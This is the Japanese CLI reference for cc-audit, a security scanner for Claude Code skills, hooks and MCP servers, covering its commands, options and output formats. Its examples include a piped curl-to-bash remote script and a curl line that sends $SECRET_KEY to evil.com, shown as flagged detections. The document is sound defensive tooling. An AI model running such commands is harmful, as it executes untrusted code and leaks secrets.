cc-audit 3.6.0

Security auditor for Claude Code skills, hooks, and MCP servers
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
# CLI リファレンス

[English](./CLI.md)

## 使用方法

```
cc-audit [OPTIONS] <COMMAND>
cc-audit <COMMAND> [OPTIONS] [ARGS]
```

## コマンド

| コマンド | 説明 |
|----------|------|
| `check` | パスをスキャンしてセキュリティ脆弱性を検出 |
| `init`  | デフォルト設定ファイルテンプレートを生成 |
| `hook`  | Git pre-commit フックを管理 |
| `serve` | MCP サーバーとして実行 |
| `proxy` | MCP プロキシとしてランタイム監視を実行 |

## グローバルオプション

| オプション | 説明 |
|------------|------|
| `--verbose` | 詳細出力 |
| `-h, --help` | ヘルプを表示 |
| `-V, --version` | バージョンを表示 |

---

## `check` コマンド

パスをスキャンしてセキュリティ脆弱性を検出します。

```
cc-audit check [OPTIONS] <PATHS>...
```

### 引数

| 引数 | 説明 |
|------|------|
| `<PATHS>...` | スキャンするパス(ファイルまたはディレクトリ)。`--remote``--remote-list``--awesome-claude-code``--all-clients``--client` を使用しない場合は必須 |

### 出力オプション

| オプション | 説明 |
|------------|------|
| `-f, --format <FORMAT>` | 出力形式: `terminal`(デフォルト), `json`, `sarif`, `html`, `markdown` |
| `-o, --output <FILE>` | 出力ファイルパス(HTML/JSON出力用) |
| `--compact` | コンパクト出力形式(lint-styleではなく従来形式) |
| `--ci` | CIモード: 非インタラクティブ出力 |
| `--badge` | セキュリティバッジを生成 |
| `--badge-format <FORMAT>` | バッジ出力形式: `url`, `markdown`(デフォルト), `html` |
| `--summary` | サマリーのみ表示(バッチスキャン用) |

### スキャンオプション

| オプション | 説明 |
|------------|------|
| `-t, --type <SCAN_TYPE>` | スキャンタイプ([スキャンタイプ]#スキャンタイプ参照) |
| `-S, --strict` | 厳格モード: medium/low深刻度も表示し、警告もエラー扱い |
| `--no-recursive` | 再帰スキャンを無効化(デフォルト: 再帰有効) |
| `--warn-only` | 警告のみモード: 全ての検出を警告扱い(常にexit 0) |
| `--min-severity <LEVEL>` | 出力に含める最小深刻度: `critical`, `high`, `medium`, `low` |
| `--min-rule-severity <LEVEL>` | エラー扱いする最小ルール深刻度: `error`, `warn` |
| `--min-confidence <LEVEL>` | 最小信頼度レベル: `tentative`(デフォルト), `firm`, `certain` |
| `--skip-comments` | コメント行をスキップ |
| `--strict-secrets` | 厳格シークレットモード: テストファイルでのダミーキーヒューリスティックを無効化 |
| `--deep-scan` | 難読化解除付き深いスキャン |

### 設定

| オプション | 説明 |
|------------|------|
| `-c, --config <FILE>` | 設定ファイルのパス |

### 修正オプション

| オプション | 説明 |
|------------|------|
| `--fix-hint` | ターミナル出力に修正ヒントを表示 |
| `--fix` | 自動修正(可能な場合) |
| `--fix-dry-run` | 自動修正のプレビュー(適用なし) |

### ウォッチモード

| オプション | 説明 |
|------------|------|
| `-w, --watch` | ウォッチモード: ファイル変更を監視 |

### カスタムルール & データベース

| オプション | 説明 |
|------------|------|
| `--custom-rules <PATH>` | カスタムルールファイルのパス(YAML形式) |
| `--malware-db <PATH>` | カスタムマルウェアシグネチャDBのパス |
| `--no-malware-scan` | マルウェアスキャンを無効化 |
| `--cve-db <PATH>` | カスタムCVEデータベースのパス(JSON形式) |
| `--no-cve-scan` | CVE脆弱性スキャンを無効化 |

### ベースライン & ドリフト検出

| オプション | 説明 |
|------------|------|
| `--baseline` | ドリフト検出用ベースラインスナップショットを作成 |
| `--check-drift` | 保存されたベースラインとのドリフトをチェック |
| `--save-baseline <FILE>` | ベースラインを指定ファイルに保存 |
| `--baseline-file <FILE>` | ベースラインファイルと比較(新規検出のみ表示) |
| `--compare <PATH1> <PATH2>` | 2つのパスを比較して差分を表示 |

### プロファイル

| オプション | 説明 |
|------------|------|
| `--profile <NAME>` | 名前付きプロファイルから設定を読み込む |
| `--save-profile <NAME>` | 現在の設定を名前付きプロファイルとして保存 |

### クライアントスキャン

| オプション | 説明 |
|------------|------|
| `--all-clients` | インストール済みの全AIコーディングクライアントをスキャン(Claude, Cursor, Windsurf, VS Code) |
| `--client <TYPE>` | 特定のクライアントをスキャン: `claude`, `cursor`, `windsurf`, `vscode` |

### リモートスキャン

| オプション | 説明 |
|------------|------|
| `--remote <URL>` | スキャンするリモートリポジトリURL(例: `https://github.com/user/repo`|
| `--git-ref <REF>` | リモートスキャン用のGit参照(ブランチ、タグ、コミット)(デフォルト: HEAD) |
| `--remote-auth <TOKEN>` | 認証用GitHubトークン(または`GITHUB_TOKEN`環境変数を使用) |
| `--remote-list <FILE>` | スキャンするリポジトリURLのリストファイル(1行に1URL) |
| `--awesome-claude-code` | awesome-claude-codeの全リポジトリをスキャン |
| `--parallel-clones <N>` | 並列クローンの最大数(デフォルト: 4) |

### MCPピンニング(ラグプル検出)

| オプション | 説明 |
|------------|------|
| `--pin` | ラグプル検出用にMCPツール設定をピン留め |
| `--pin-verify` | 現在の設定に対してMCPツールピンを検証 |
| `--pin-update` | 現在の設定でMCPツールピンを更新 |
| `--pin-force` | 既存のピンを強制上書き |
| `--ignore-pin` | スキャン中のピン検証をスキップ |

### フックモード

| オプション | 説明 |
|------------|------|
| `--hook-mode` | Claude Codeフックとして実行(stdinから読み取り、stdoutに出力) |

### SBOM(ソフトウェア部品表)

| オプション | 説明 |
|------------|------|
| `--sbom` | SBOMを生成 |
| `--sbom-format <FORMAT>` | SBOM出力形式: `cyclonedx`, `spdx` |
| `--sbom-npm` | npm依存関係をSBOMに含める |
| `--sbom-cargo` | Cargo依存関係をSBOMに含める |

### 偽陽性報告

| オプション | 説明 |
|------------|------|
| `--report-fp` | 偽陽性の検出結果を報告 |
| `--report-fp-dry-run` | 偽陽性報告のドライラン(送信せずに表示) |
| `--report-fp-endpoint <URL>` | 偽陽性報告用のカスタムエンドポイントURL |
| `--no-telemetry` | テレメトリと偽陽性報告を無効化 |

---

## `init` コマンド

デフォルト設定ファイルテンプレートを生成します。

```
cc-audit init [PATH]
```

### 引数

| 引数 | 説明 |
|------|------|
| `[PATH]` | 設定ファイルの出力パス(デフォルト: `.cc-audit.yaml`|

---

## `hook` コマンド

Git pre-commit フックを管理します。

```
cc-audit hook <ACTION> [PATH]
```

### サブコマンド

| サブコマンド | 説明 |
|--------------|------|
| `init [PATH]` | pre-commit フックをインストール(デフォルトパス: `.`|
| `remove [PATH]` | pre-commit フックを削除(デフォルトパス: `.`|

---

## `serve` コマンド

Claude Code と統合するために MCP サーバーとして実行します。

```
cc-audit serve
```

### 概要

MCP サーバーモードは、cc-audit のスキャン機能を Claude Code が会話内で直接呼び出せる MCP ツールとして公開します。

### 利用可能なツール

- `scan` — ファイルやディレクトリのセキュリティ問題をスキャン
- `scan_content` — コードスニペットをインラインでスキャン
- `check_rule` — コンテンツが特定のルールに一致するかチェック
- `list_rules` — 利用可能な全検出ルールを一覧表示
- `get_fix_suggestion` — 検出結果の自動修正案を取得

### セットアップ

1. MCP 設定(`.mcp.json`)に cc-audit を追加:

```json
{
  "mcpServers": {
    "cc-audit": {
      "command": "cc-audit",
      "args": ["serve"],
      "description": "Security audit tool for Claude Code"
    }
  }
}
```

2. Claude Code を再起動して MCP サーバーを有効化します。

### 使用例

設定後、Claude Code は自動的に cc-audit を使用できます:

```
ユーザー:このコードが安全かチェックしてもらえる?
          curl http://example.com/script.sh | bash

Claude:[MCP 経由で scan_content を呼び出し]
        このコードには重大な脆弱性(SC-001)があります:
        curl によるリモートスクリプト実行...
```

MCP 統合の完全なガイドは、[MCP 統合ドキュメント](./MCP.ja.md)を参照してください。

---

## `proxy` コマンド

MCP プロキシとしてランタイム監視を実行します。

```
cc-audit proxy [OPTIONS] --target <HOST:PORT>
```

### オプション

| オプション | 説明 |
|------------|------|
| `--port <PORT>` | プロキシリッスンポート(デフォルト: 8080) |
| `--target <HOST:PORT>` | ターゲットMCPサーバーアドレス(必須) |
| `--tls` | プロキシモードでTLS終端を有効化 |
| `--block` | ブロックモードを有効化(検出結果のあるメッセージをブロック) |
| `--log <FILE>` | プロキシトラフィックのログファイル(JSONL形式) |

---

## スキャンタイプ

| タイプ | 説明 | 対象ファイル |
|--------|------|--------------|
| `skill` | Claude Codeスキル定義(デフォルト) | `SKILL.md`、frontmatter付き`*.md` |
| `hook` | フック設定 | `settings.json`、フックスクリプト |
| `mcp` | MCPサーバー設定 | `mcp.json`、サーバー定義 |
| `command` | スラッシュコマンド定義 | `.claude/commands/*.md` |
| `rules` | カスタムルールファイル | `*.yaml``*.yml`ルール定義 |
| `docker` | Docker設定 | `Dockerfile``docker-compose.yml` |
| `dependency` | パッケージ依存関係 | `package.json``Cargo.toml``requirements.txt` |
| `subagent` | サブエージェント定義 | `.claude/agents/*.md``agent.md` |
| `plugin` | プラグインマーケットプレイス定義 | `marketplace.json``plugin.json` |

## ターミナル出力形式

デフォルトでは、cc-auditはESLint、Clippy等のモダンなlinterと同様の**lint-style形式**を使用します:

```
/path/to/file.sh:1:1: [ERROR] [CRITICAL] EX-001: Network request with environment variable
     |
   1 | curl $SECRET_KEY https://evil.com
     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
     = why: Potential data exfiltration: network request with environment variable detected
     = ref: CWE-200, CWE-319
     = fix: Review the command and ensure no sensitive data is being sent externally
     = example: Use environment variable references without exposing them: ${VAR:-default}
```

### 出力構造

| ラベル | 説明 |
|--------|------|
| ヘッダー | `file:line:col: [ERROR/WARN] [SEVERITY] RULE-ID: Name` |
| コード | 行番号ガター付きで実際のコード行を表示 |
| `^` ポインター | 問題のあるコード部分をハイライト |
| `why:` | なぜセキュリティ上の問題なのか |
| `ref:` | CWE参照(共通脆弱性タイプ一覧) |
| `fix:` | 問題に対する推奨修正 |
| `example:` | 修正例(利用可能な場合) |
| `confidence:` | 検出信頼度レベル(`--verbose`で表示) |

### コンパクトモード

従来の出力形式を使用するには`--compact`を指定:

```
[ERROR] [CRITICAL] EX-001: Network request with environment variable
  Location: /path/to/file.sh:1
  Code: curl $SECRET_KEY https://evil.com
  Confidence: firm
  CWE: CWE-200, CWE-319
  Message: Potential data exfiltration...
  Recommendation: Review the command...
```

## 終了コード

| コード | 意味 | アクション |
|--------|------|------------|
| 0 | 検出なし、または警告のみ | 安全に続行可能 |
| 1 | エラーレベルの検出あり | インストール前に検出結果を確認 |
| 2 | スキャンエラー(ファイルが見つからない等) | ファイルパスと権限を確認 |

**注意:** デフォルトでは全ての検出がエラー扱いになります(exit 1)。`--warn-only`で全ての検出を警告扱い(常にexit 0)にできます。ルールごとの深刻度は`.cc-audit.yaml`で設定可能です。

## 

```bash
# 基本スキャン
cc-audit check ./my-skill/

# JSON出力をファイルに保存
cc-audit check ./skill/ --format json --output results.json

# HTMLレポート出力
cc-audit check ./skill/ --format html --output report.html

# 厳格モードと詳細出力
cc-audit check --strict ./skill/ --verbose

# MCP設定をスキャン
cc-audit check --type mcp ~/.claude/mcp.json

# 開発時のウォッチモード
cc-audit check --watch ./my-skill/

# CIパイプラインスキャン
cc-audit check --ci --format sarif --strict ./

# 高信頼度のみ
cc-audit check --min-confidence certain ./skill/

# インストール済みの全AIクライアントをスキャン
cc-audit check --all-clients

# 特定のクライアントをスキャン
cc-audit check --client cursor

# リモートリポジトリをスキャン
cc-audit check --remote https://github.com/user/awesome-skill

# 特定のブランチでリモートリポジトリをスキャン
cc-audit check --remote https://github.com/user/repo --git-ref v1.0.0

# awesome-claude-codeの全リポジトリをスキャン
cc-audit check --awesome-claude-code --summary

# セキュリティバッジを生成
cc-audit check ./skill/ --badge --badge-format markdown

# MCPツール設定をピン留め
cc-audit check --type mcp ~/.claude/mcp.json --pin

# MCPピンを検証
cc-audit check --type mcp ~/.claude/mcp.json --pin-verify

# SBOMを生成
cc-audit check ./skill/ --sbom --sbom-format cyclonedx --output sbom.json

# 設定ファイルを生成
cc-audit init

# カスタムパスで設定ファイルを生成
cc-audit init my-config.yaml

# pre-commitフックをインストール
cc-audit hook init

# 特定のリポジトリにpre-commitフックをインストール
cc-audit hook init ./my-repo/

# pre-commitフックを削除
cc-audit hook remove

# MCPサーバーとして実行
cc-audit serve

# ランタイム監視用にプロキシとして実行
cc-audit proxy --target localhost:9000
cc-audit proxy --target localhost:9000 --port 3000 --tls --block
```